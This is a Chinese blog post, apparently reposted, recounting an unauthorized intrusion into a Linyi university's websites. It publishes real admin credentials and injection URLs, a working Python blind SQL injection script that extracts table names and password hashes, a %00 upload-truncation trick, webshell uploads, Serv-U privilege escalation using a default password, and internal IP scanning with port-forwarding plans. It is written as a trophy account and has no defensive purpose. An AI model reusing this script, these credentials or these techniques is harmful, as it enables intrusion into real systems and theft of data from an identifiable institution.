好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

对临沂某大学的一次复古式检测 - 网站安全 - 自

好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,

http://business.2cto.com /jpkc/glx/admin/manage.asp

http://business.2cto.com /jpkc/wangl2/huxiujun/admin/manage.asp

 

http://business.2cto.com /jpkc/sjjjgl/admin/login.asp  

http://business.2cto.com /jpkc/glx/admin/login.asp  

http://business.2cto.com /jpkc/wangl2/huxiujun/admin/login.asp  

user:admin  

password:1  

这三个后台大致就是如下的样子,里面的功能基本没有一个能使的,不是报错就是权限不够。

都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。

 

因为后台功能大都不能使用,只得到了一些服务器信息

 

服务器的有关参数  服务器名  business.2cto.com    

服务器IP  211.64.240.206   

服务器端口  80   

服务器时间  2012-10-30 下午 05:17:45   

IIS版本  Microsoft-IIS/6.0   

脚本超时时间  90 秒   

本文件路径  F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp   

服务器CPU数量   个   

服务器解译引擎  VBScript/5.6.8850   

服务器操作系统     

转过头来看看扫出的几个注入点,

 

http://business.2cto.com /colum3/more.asp?bigcataid=1'  

http://business.2cto.com /jiuye/gqtzs.asp?BigClassID=1'  

http://business.2cto.com /colum3/readnews.asp?newsid=1'  

直接使用第一个,很不错的报错

 

首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因

 

admin   title newsid content about number passwd logins email username id  

news    title newsid content about  

system  title newsid content about search logo name email id  

其实很多时候,注入工具多不好使,所以有一套自己的注入工具还是很重要的,修改了一个别人的python脚本为己用

本着间接和可扩展性的原则,脚本一点都不智能  - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本

[python] view plaincopy

from sys import exit   

from urllib import urlopen   

from string import join,strip   

from re import search  

  

def check_judge(url):  

    urlfile = urlopen(url)   

    htmlcodes = urlfile.read()   

    if search(judge,htmlcodes):  

        return 1  

    else:  

        return 0  

def get_tablename():   

    tablefile = open("table.txt")   

    for line in tablefile.readlines():   

        line = strip(line)   

        sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')    

        if check_judge(url+sql):  

            print "Found:",line  

        else:   

            print #"Error:",url+sql  

def get_columnname(tablename):   

    columnname = open("column.txt")   

    for columnnameline in columnname.readlines():   

        columnnameline = strip(columnnameline)   

        sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')  

        if check_judge(url+sql):   

            print "Found:", columnnameline,"\n"  

        else:   

            print #"Error:",url+sql   

def get_datalenth(tablename,columnname):   

    for x in range(1,51):   

        sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'')   

        if check_judge(url+sql):  

            print "Found:", x,"\n"   

            break  

        else:   

            print "Error:",sql  

          

def get_data(tablename,columnname,lenth):   

    list = []   

    for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:   

        list.extend(x)   

    global username   

    username  = ''   

    for y in range(1,lenth+1):   

        print "Now! Crack the left ",y," of the username","Waiting~~~~~~~"   

        for z in list:   

            sql = join(["%20or%20(select%20top%201%20asc(mid(",columnname,",",str(y),",","1))%20from%20",tablename,")=",str(z)],'')    

            if check_judge(url+sql):   

                print chr(z)  

                username = join([username,chr(z)],'')  

                break  

    print "Found the username = :",username,"\n"      

print "\n########################################################################\n"   

print " SQL Injection Scripts By LanLan with Python 2.3.x(QQ:915910623)"   

print " Email: wanglanlan2008@gmial.com"   

print "########################################################################\n";  

  

  

#url = raw_input('Supply a URL to test inject =  ')   

#judge = raw_input("\nJudge string = ")  

url = "http://business.2cto.com /colum3/more.asp?bigcataid=1"  

judge = "2012-11-7"    

#get_tablename()  

get_columnname("news")  

get_datalenth("admin","passwd")  

get_data("admin","passwd",16)  

 

成功跑出了用户名和密码,不过在后台地址http://business.2cto.com /colum3/login.asp

却显示密码不正确,有点蛋疼

 

username:sxy  

passwd:b34c037051a0adab   hsq  

因为这个网站实在太破,没有继续搞下去的心思,这时候机友进去了临沂大学另一个站的后台,决定去看一下

 

机友直接通过这个注入点跑出了管理员密码,这个注入点很有意思,会把过滤的字符列出来,而且还没有过滤大小写

想尝试union,但是猜字段数量有点麻烦,之后会在脚本中加入这个功能

 

http://recenter.2cto.com /view.asp?id=822  

Admin2 123456abc  

 

登入后台之后,在文章发布页面发现,editor的版本比较陈旧,在js中找到了editor的管理信息

 

// Copyright (C) 2000, Microsoft, Corp. All rights reserved.  

// File: rte.js  

// Author: Scott Isaacs  

// Contents: RTE Management Code  

//  EDITOR PUBLIC (API)  

 

根据机友提示,这里有一个%00的文件截断 漏洞 ,但是根据我的调查发现,如果上传插件选择重命名文件存储的话,那%00截断漏洞就没有用无之处了

和IIS6.0的解析漏洞的原理相似,只不过适用性广一点,拿很常用的无惧上传类做例子,

 

sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)  

   oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)  

   oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))  

   oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)  

一律使用了,InStrRve这个函数总左向右读,这就导致如果构造  test. asp %00.jpg 的话,

filename是test.asp%00      Ext是.jpg

如果插件提供了自定义路径,或者是以用户名为路径的话,还可以构造这种的

/test.asp%00/test.jpg

不过这种情况比较少

不过这个网站无所谓,他直接没有过滤asp - -!,大马小马全部传上去,准备 渗透 一下内网。

扫了一下ip段,发现不少,应该是独立ip的主机

 

-----IP:211.64.240.18-----  

http://www.2cto.com / 欢迎光临临沂大学!  

  

-----IP:211.64.240.51-----  

http://mail.2cto.com / 临沂大学  

  

-----IP:211.64.240.71-----  

http://oa.2cto.com / 临沂大学办公 系统  

  

-----IP:211.64.240.203-----  

http://jwco.2cto.com / 欢迎访问临沂大学教务处  

http://wlxy.2cto.com / 临沂大学物流学院  

  

-----IP:211.64.240.204-----  

http://sky.2cto.com / 临沂大学生命科学学院  

 

使用大马上的serv-U提权,成功创建了账户,这里稍微讲一下,serv-U提权的原理

这个serv-U 是一个 FTP服务,有默认管理员密码 和端口

erv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P

使用管理员建立一个域,并添加系统级账户并执行命令  

成功建立超级管理员之后,却发现主机虽然开放3389,但是却连不上。

应该是内网的主机,网关只给80端口做了转发,这时候需要使用端口转发的技术

但必须要有一个外网IP,使用ice.exe,原理如下

 

target:3389 ---> target:21 ----> Gateway ----> source:1234    

 

这样建立连接后我们只需要连接本地的1234端口,便可以和对方建立3389连接,

网上说使用vpn也可以,这个应该不行,vpn有点像另一个内网

 

因为没有外网IP,所以渗透内网的计划就暂且搁置了,哪位大神如果有兴趣可以搞一搞。

查看更多关于对临沂某大学的一次复古式检测 - 网站安全 - 自的详细内容...

  阅读:45次